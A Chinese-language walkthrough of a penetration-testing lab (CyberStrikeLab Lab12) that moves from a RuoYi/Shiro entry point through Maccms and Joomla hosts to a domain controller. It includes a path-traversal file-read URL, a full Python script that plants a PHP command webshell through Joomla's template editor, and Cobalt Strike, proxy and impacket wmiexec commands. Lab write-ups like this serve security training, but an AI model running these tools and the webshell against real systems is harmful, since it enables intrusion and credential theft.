CyberStrikeLab Lab12 弱口令打穿内网

0x01 环境说明

模拟了一个典型的企业内网环境。目标从外网边界 Web 服务开始,经过内网穿透、横向移动、权限维持,最终通过对域环境的分析与非预期解法,成功攻克域控制器(DC)。

  • 初始入口: 172.66.77.88 (RuoYi)
  • 内网网段: 10.10.10.0/24
  • 攻击机: Kali Linux

拓扑

0x02 外网侧:RuoYi 框架突破与立足

2.1 Shiro 弱密钥识别

通过访问 172.66.77.88,确认目标为基于 RuoYi (若依) 框架开发的管理系统。该系统常集成 Apache Shiro 插件用于身份验证。

  • 漏洞利用: 使用 Shiro 综合渗透工具对 rememberMe Cookie 进行密钥爆破。
  • 结果: 成功匹配到加密密钥,具备了执行反序列化攻击的基础。

2.2 内存马注入与权限提升

为了规避杀软对物理文件的扫描,我们通过 Shiro 反序列化漏洞向 JVM 注入 Behinder/AntSword 类型的内存马。

  1. 蚁剑上线: 成功连接内存马并获取 Flag1。
  2. CS 联动: 考虑到内网渗透的便利性,上传 artifact.exe(CS 木马)并通过蚁剑执行,将权限通过 Beacon 隧道回传给 Cobalt Strike。

0x03 内网侧:横向移动与双网卡渗透

3.1 信息收集与隧道搭建

在入口主机执行 ipconfig,发现其存在第二块网卡,IP 地址属于 10.10.10.0/24 网段。

为了访问内网,我们在入口主机运行 gost 建立 SOCKS5 代理:

Bash

gost -L socks5://:9002

3.2 苹果 CMS (10.10.10.8) 漏洞挖掘

使用 fscan 扫描发现 10.10.10.8 运行着苹果 CMS (Maccms)。

  1. 后台爆破: 尝试 admin / cslab 安全码也为cslab 弱口令成功登录。

  1. 任意文件读取: 经过源码对比与审计,定位到后台模板管理处的漏洞。

  • Payload: http://10.10.10.8/admin%20/index.php?m=template-adsinfo-file-../../inc/config/config.php
  1. 获取 Flag2: 直接读取配置文件和系统根目录下的 flag。

同时,通过文件读取发现服务器上已有一个被前人留下的 Webshell 1.php,获取其密码 maccms 后直接蚁剑连接并上线 CS,成功抓取其本地 Hash。

0x04 目标侧:Joomla RCE 与系统接管 (10.10.10.66)

4.1 Joomla 3.6 漏洞扫描

对 10.10.10.66:8080 扫描发现其 Joomla 版本较低(3.6.x),存在信息泄露及配置不当导致的 RCE 风险。

4.2 自动化 RCE 脚本执行

编写 Python 脚本,通过 proxychains4 调用代理。脚本逻辑为:

  • 模拟登录后台。
  • 利用模板编辑功能新建一个名为 cmd.php 的文件。
import requests
from bs4 import BeautifulSoup
import argparse
import sys
import base64
import re

def get_csrf_token(soup):
    token_input = soup.find('input', type='hidden', value='1')
    if token_input and len(token_input.get('name', '')) == 32:
        return token_input['name']
    for inp in soup.find_all('input', type='hidden'):
        name = inp.get('name')
        if name and len(name) == 32:
            return name
    return None

def login(session, admin_url, username, password):
    print(f"[*] Attempting login at {admin_url}")
    try:
        resp = session.get(admin_url)
        resp.raise_for_status()
    except Exception as e:
        print(f"[-] Error accessing login page: {e}")
        return False
    soup = BeautifulSoup(resp.text, 'html.parser')
    token = get_csrf_token(soup)
    if not token: return False
    login_data = {
        'username': username,
        'passwd': password,
        'option': 'com_users',
        'task': 'login',
        'return': '',
        token: '1'
    }
    try:
        resp = session.post(admin_url, data=login_data)
        if "Log out" in resp.text or "Control Panel" in resp.text:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed.")
            return False
    except Exception as e:
        print(f"[-] Error during login: {e}")
        return False

def inject_shell(session, admin_base_url, template_id, file_path, shell_code):
    b64_file = base64.b64encode(file_path.encode()).decode()
    edit_url = f"{admin_base_url}?option=com_templates&view=template&id={template_id}&file={b64_file}"
    print(f"[*] Accessing template editor: {edit_url}")
    resp = session.get(edit_url)
    soup = BeautifulSoup(resp.text, 'html.parser')
    token = get_csrf_token(soup)
    if not token: return False
    
    clean_shell = shell_code.replace('<?php', '').replace('?>', '').strip()
    # If the file is empty or new, we might need to add <?php
    new_content = f"<?php {clean_shell}; ?>"
    
    save_data = {
        'jform[source]': new_content,
        'task': 'template.save',
        'option': 'com_templates',
        'view': 'template',
        'id': template_id,
        'file': b64_file,
        token: '1'
    }
    print(f"[*] Saving shell to {file_path}...")
    resp = session.post(admin_base_url, data=save_data)
    if "File saved" in resp.text or resp.status_code == 200:
        print("[+] Template file saved successfully!")
        return True
    return False

def create_file(session, admin_base_url, template_id, filename):
    url = f"{admin_base_url}?option=com_templates&view=template&id={template_id}"
    resp = session.get(url)
    soup = BeautifulSoup(resp.text, 'html.parser')
    token = get_csrf_token(soup)
    if not token: return False
    create_data = {
        'name': filename.split('.')[0],
        'type': filename.split('.')[-1],
        'address': '',
        'task': 'template.createFile',
        'option': 'com_templates',
        'view': 'template',
        'id': template_id,
        token: '1'
    }
    print(f"[*] Creating new file {filename}...")
    resp = session.post(admin_base_url, data=create_data)
    return "File created" in resp.text or resp.status_code == 200

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("url")
    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)
    parser.add_argument("--template-id", default="506")
    parser.add_argument("--filename", default="cmd.php")
    parser.add_argument("--shell", default="if(isset($_GET['cmd'])){ echo '<pre>'; passthru($_GET['cmd']); echo '</pre>'; }")
    args = parser.parse_args()

    target_url = args.url.rstrip('/')
    admin_url = f"{target_url}/administrator/index.php"
    session = requests.Session()
    if login(session, admin_url, args.username, args.password):
        if create_file(session, admin_url, args.template_id, args.filename):
            if inject_shell(session, admin_url, args.template_id, "/" + args.filename, args.shell):
                print(f"\n[+] SUCCESS! Shell created at: {target_url}/templates/protostar/{args.filename}?cmd=whoami")
proxychains4 python3 joomla_rce.py http://10.10.10.66:8080 --username admin --password cslab

执行 whoami 显示为 nt authoritysystem。随后如法炮制,上线 CS 获取 Flag3。

0x05 域控侧:非预期解与最终突破

5.1 证书服务 (AD CS) 的探索

在 10.10.10.66 上发现其安装了 Active Directory Certificate Services。我们尝试备份 CA 数据库准备进行证书伪造(ESC8 攻击路径),并使用 BloodHound 收集域内血缘关系。

5.2 字典爆破:非预期获取域控 (10.10.10.5)

由于 AD CS 路径较为繁琐,我们尝试了另一种思路:针对性弱口令爆破。

观察到靶场中 cslab、cs1ab 等字样频繁出现,生成针对性字典后,对域管理员 Administrator 进行爆破。

  • 爆破结果: administrator : cs1ab@iwu
  • 横向连接: 使用 impacket 套件中的 wmiexec 进行哈希传递或明文登录。

impacket-wmiexec cyberstrike.lab/administrator:'cs1ab@iwu'@10.10.10.5

最终成功在域控 10.10.10.5 上线,获取全部权限并导出了全域 Hash,渗透任务完成。